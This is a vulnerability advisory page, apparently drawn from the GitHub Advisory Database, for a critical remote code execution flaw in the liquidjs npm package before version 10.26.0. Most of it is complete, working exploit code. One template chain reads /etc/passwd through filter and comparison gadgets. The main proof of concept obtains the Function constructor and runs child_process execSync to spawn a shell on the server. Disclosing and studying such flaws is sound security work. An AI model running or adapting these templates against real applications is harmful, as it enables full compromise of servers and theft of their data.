Critical
LiquidJS is Vulnerable to Remote Code Execution
Summary
It is possible to execute arbitrary code with crafted templates
Details
<details> <summary> `1|valueOf` -> `this` when evaluating the filter </summary>liquid
{%assign r=1|valueOf%}
{{r|inspect}}js
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}js
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}
${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}
{{m == "/etc/passwd"}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());js
import { Liquid } from "liquidjs";
const engine = new Liquid();
engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}
{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.
ts
private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
const filepath = yield this.loader.lookup(file, type, sync, currentFile)
return this.parse(yield this.readFile(!!sync, filepath), filepath)
}PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
js
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}
${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}
${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}
{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}
{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}
{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}
{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}
{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());Impact
What kind of vulnerability is it? Who is impacted? Remote Code Execution.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | liquidjs | < 10.26.0 | 10.26.0 |
References
CVSS score
10/10
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- npm
- Package
liquidjs- Disclosed
- 27.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-gf2q-c269-pqgc - CC BY 4.0
Vulnerability history: liquidjs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 19
- First → latest
- 12.2022 10.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 10
- Medium 7
- Low 1
Disclosures per year
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 18
-
LiquidJS is Vulnerable to Remote Code Execution this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.